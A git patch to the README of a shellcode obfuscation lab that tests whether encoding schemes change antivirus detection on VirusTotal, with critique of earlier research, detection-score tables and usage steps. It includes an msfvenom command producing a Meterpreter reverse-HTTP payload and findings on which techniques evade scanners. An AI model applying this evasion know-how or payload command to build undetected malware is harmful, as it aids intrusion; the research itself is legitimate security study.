From 738372b7c5f8d8d6124d156f75ae63697a169a6e Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Wed, 21 May 2025 09:14:18 +0200 Subject: [PATCH] doc: update --- README.md | 102 ++++++++++++++++++++++++++++++++++++++++++++---------- 1 file changed, 83 insertions(+), 19 deletions(-) diff --git a/README.md b/README.md index 0895f45..8d0bf6a 100644 --- a/README.md +++ b/README.md @@ -3,25 +3,84 @@ Shellcode obfuscations laboratory based on RedSiege [Chromatophore](https://github.com/RedSiege/Chromatophore/). +## Background + +I see RedTeam research like [Adventures in Shellcode Obfuscation!](https://redsiege.com/blog/2024/09/adventures-in-shellcode-obfuscation-part-14-further-research/), a +[14 part series](https://redsiege.com/adventures-in-shellcode-obfuscation/) +of hiding shellcode using various different encryption- or encoding ciphers. + +In the security scene, the myth perpetuates: How you encode a shellcode has an +influence on the detection rate. The assumption is, that somehow an AV or security software +has a unique ability to automagically reverse engineer encryption ciphers, and also +have a quantum computer integrated to crack the key. + +The truth is: AV doesnt know shit. + +RedSiege came to the following wrong result: + +| Technique | VT Score | +| ------------------ | -------- | +| XOR Multibyte Key | 2 | +| Offsets | 2 | +| Jargon | 3 | +| Reverse Byte Order | 4 | +| Jigsaw | 4 | +| Reversed Byte XOR | 5 | +| IPv4 | 6 | +| MAC Address | 6 | +| Caesar | 7 | +| RC4 | 7 | +| XOR | 8 | +| AES | 8 | +| Two Array | 8 | +| Reverse String | 13 | +| UUID | 13 | +| Base64 | 18 | +| No Obfuscation | 27 | + + +But didnt bother to question the data. There are many issues with it: + +* No negative test (without malicious shellcode) +* Some programs are written in C, some in C# +* Some use WinAPI (AES, RC4, UUID) which are either an IOC, or may block AV emulator +* ReverseXor brute forces the key +* In jargon.c they mention that Defender detects the decryption routine itself. Same in xor_multibyte +* As they store the shellcode in a variable, static analysis tools can try out their deobfuscation on all the variables (explains high detection of ReverseString and Base64) +* Scans performed with large intervals between them (weeks?) + +Which means that the test has been performed wrong, and the results are invalid. +Any conclusion based on the data is also invalid - and building [trainings](https://redsiege.com/training-av-edr-evasion/) on it distributes the misinformation. + +Luckily RedSiege published the [shellcode encoder sources](https://github.com/RedSiege/Chromatophore). +I made this framework based on it to test it for myself. + + +## Predictions + +* Which encryption you use doesnt matter - they all equally resistant to analysis +* Using windows API's will increase detection rate + + ## Results -Tests have been performed with einer "random" - a alphanumeric 20 byte string. And "Metasploit" +Tests have been performed with einer "random" - a alphanumeric 20 byte string as "shellcode". And "metasploit" with output of `msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o beacon.bin`. -The "Metasploit" does not execute the shellcode, only decodes and prints it. +The "tasploit" does not execute the shellcode, only decodes and prints it. Conclusion: -* Encoding/Encryption doesnt matter -* More important is if a windows API is being used/imported (IAT in PE) -* Note that NO obfuscation metasploit outperforms AES encryption, base64 windows api, ip-, mac- and uuid-encoding. +* The type of encoding/encryption doesnt matter +* More important is if a windows API is being used/imported (static analysis, e.g. IAT in PE) +* Note that NO obfuscation metasploit outperforms AES encryption, base64 windows api, ip-, mac- and uuid-encoding +* VirusTotal has maybe one memory scanner. The rest seem to be static analysis. - -| **What** | **Library** | **Includes** | **Function / IAT** | **Random** | **Metasploit** | +| **What** | **Library** | **Includes** | **Function / IAT** | **Random** | **tasploit** | | ------------------ | --------------------- | ------------------------- | ---------------------------------- | ---------- | -------------- | -| aes | crypt32.lib, advapi32 | wincrypt.h | Crypt\* | 5 | 6 | +| aes | crypt32.lib, advapi32 | wincrypt.h | Crypt\* | **5** | **6** | | base64 | \- | \- | \- | 3 | 3 | -| base64api | crypt32.lib | wincrypt.h | CryptStringToBinaryA | 5 | 6 | -| bin2ip | Ntdll.lib | ntstatus.h
Ip2string.h | RtlIpv4StringToAddressA | 8 | 10 | -| bin2mac | Ntdll.lib | ntstatus.h
Ip2string.h | RtlEthernetStringToAddressA | 8 | 18 | +| base64api | crypt32.lib | wincrypt.h | CryptStringToBinaryA | **5** | **6** | +| bin2ip | Ntdll.lib | ntstatus.h
Ip2string.h | RtlIpv4StringToAddressA | **8** | **10** | +| bin2mac | Ntdll.lib | ntstatus.h
Ip2string.h | RtlEthernetStringToAddressA | **8** | **18** | | cesar | \- | \- | \- | 2 | 2 | | jargon | \- | \- | \- | 3 | 2 | | jigsaw | \- | \- | \- | 2 | 3 | @@ -30,22 +89,28 @@ Conclusion: | reverse_byte_order | \- | \- | \- | 2 | 2 | | reverse_hex_string | \- | \- | \- | 2 | 2 | | twoarray | \- | \- | \- | 2 | 3 | -| uuidapi | rpcrt4.lib | rpc.h | UuidFromStringA | 8 | 11 | +| uuidapi | rpcrt4.lib | rpc.h | UuidFromStringA | **8** | **11** | | xor_multibyte | \- | \- | \- | 1 | 2 | | xor_reverse | \- | \- | \- | 2 | 3 | | xor_single | \- | \- | \- | 1 | 3 | -| NO OBFUSCATION | \- | \- | \- | 2 | 3 | -## Usage +| **NO OBFUSCATION** | \- | \- | \- | 2 | 3 | -Use the `x64 native tools command prompt` from Visual Studio -so you have access to `ml.exe` and `Windows.h`. -To compile all the source into `output/*.exe`: +The results of the test are at [lab_results/](https://github.com/dobin/ShellcodeObfuscationLab/tree/main/lab_results). +For example the generated [aes.c source code](https://github.com/dobin/ShellcodeObfuscationLab/blob/main/lab_results/metasploit/aes_work.c), +and [VirusTotal result](https://github.com/dobin/ShellcodeObfuscationLab/blob/main/lab_results/metasploit/aes.exe.json). + + +## SOL Usage + +Use the `x64 native tools command prompt` from Visual Studio so you have access to `ml.exe` and `Windows.h`. + +To compile all the source from `chromatophore/` into `output/*.exe`: ``` > python.exe sol.py compile ``` -To send it to VirusTotal +To send all the exes to VirusTotal: ``` > set VT_API_KEY=123... @@ -54,4 +119,3 @@ To send it to VirusTotal Output is in `output/*.exe.json` and `output/scan_results.txt`. -